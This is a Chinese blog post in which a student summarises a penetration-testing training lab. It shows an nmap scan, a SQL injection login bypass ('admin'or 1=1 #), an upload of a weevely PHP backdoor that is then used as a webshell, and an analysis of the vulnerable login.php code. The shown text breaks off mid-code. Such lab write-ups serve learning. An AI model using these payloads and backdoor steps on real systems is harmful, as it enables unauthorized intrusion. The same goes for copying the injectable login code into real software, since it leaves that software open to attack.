记一次内网渗透测试实训总结

本文详细记录了一次内网渗透的过程,包括web服务器的登录漏洞、文件上传绕过、SQL注入、提权Linux到root,以及后续的Windows服务器渗透,展示了从信息收集到权限升级的完整流程。

原文连接

前言

时间很快就来到了学期的最后一个月,和上学期一样,最后的几周是实训周,而这次实训恰好就是我比较喜欢的网络攻防,因为之前学过相关的知识,做过一些靶场,相比于其他同学做起来要快些,不过内网渗透也还是头一次,得益于这次的内网渗透靶场环境,小小地体验了一下,期间也踩了许多坑,也陆陆续续地解决掉了。所以就以本篇文章做个总结,目的在于梳理所学到地知识点和分享。

环境&工具

物理机 (win 10) ip:172.20.10.1

工具:蚁剑火狐(hackbar插件)

攻击机(kali) ip:172.20.10.129

工具:MSF框架Burpsuite冰蝎weevelyNmapProxychains4

靶场拓扑图

image-20220617105452122

渗透过程

准备

首先需要拿到一个入口地址

在FW中查看

image-20220617105751376

这个是Web服务器的外网地址 10.100.1.104,直接访问是访问不到的,需要使用老师给的vpn。

这里直接在kali中配置vpn,

image-20220617110403881

得到一个10.200.0.77地址。(这里得到的地址会经常变,后面操作的时候可能会不一致)

渗透测试web服务器

刚刚通过查看FW防火墙的配置拿到了web服务器的地址10.100.1.104

信息收集

端口扫描

nmap -sT 10.100.1.104 -sV
# sT tcp三次握手扫描(默认为sT)
# sV 扫描服务的版本信息
image-20220617111527491

开放了80端口,web服务器是用Apache 2.2.15,操作系统为Centos

web渗透测试

登录处存在万能密码 or 1=1 #绕过

image-20220617112218919
image-20220617112454795
image-20220617112641659

成功进入到后台管理界面

在用户管理->头像编辑处存在文件上传绕过检测漏洞

image-20220617113134279

使用kali自带的weevely工具生成php后门

weevely generate 123456 backdoor.php
image-20220617113047690

进行上传

image-20220617113206428
image-20220617113328177
image-20220617113402204

在头像处找到后门的上传地址

image-20220617113527315
image-20220617113642098

连接php后门

weevely http://10.100.1.104/avatar/admin.php 123456
image-20220617113847235

已经成功拿到一个webshell权限

漏洞分析

sql注入漏洞分析

刚刚是用sql注入进入的后台,burp抓包发现是请求的login.php文件,接下来对该文件进行分析。

# 省略了无关紧要的代码
<?php
if (isset($_POST['submit'])) {
   
   
  include 'config/dbconnect.php';

  // Get input
  $email = $_POST['email'];
  $password = md5($_POST['password']);

  // Check database
  $query = "SELECT username, isadmin FROM users WHERE email = '$email' and password = '$password';";
  $result = mysqli_query($conn, $query);

  $num = @mysqli_num_rows($result); // The '@' character suppresses errors
  if ($num > 0) {
   
   
    // Feedback for end user
    while ($row = mysqli_fetch_assoc($result)) {
   
   
      $_SESSION['logged'] = true;
      $_SESSION['username'] = $row["username"];
      if ($row["isadmin"] == 1) {
   
   
        $_SESSION['isadmin'] = true;
      } else {
   
   
        $_SESSION['isadmin'] = false;
      }
      header("Location: http://" . $_SERVER['HTTP_HOST'] . "/admin.php?page=dashboard");
    }
  } else {
   
   
    // Feedback for end user
    $_SESSION['logged'] = false;
    echo "<script>$('#login-alert').removeClass('d-none')</script>";
  }

  mysqli_close($conn);
}
?>

全局变量POST接收了emailpassword,登录的sql语句为

$query = "SELECT username, isadmin FROM users WHERE email = '$email' and password = '$password';";

可以发现没怎么过滤,传入的密码进行md5加密,我们在email处构造的万能密码admin'or 1=1 #,拼接到sql语句中为

$query = "SELECT username, isadmin FROM users WHERE email = 'admin'or 1=1 #' and password = '$password';";

sql语句中#为注释符,这里真正执行的sql语句为

SELECT username, isadmin FROM users WHERE email = 'admin'or 1=1

'admin' or 1=1 这个where条件,会查询出所有的用户名。

查询得记录值不少于1条就会进入if语句,进而执行$_SESSION['logged'] = true;

if ($num > 0) {
   
   
    // Feedback for end user
    while ($row = mysqli_fetch_assoc($result)) {
   
   
      $_SESSION['logged'] = true;
      $_SESSION['username'] = $row["username"];
      if ($row[
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值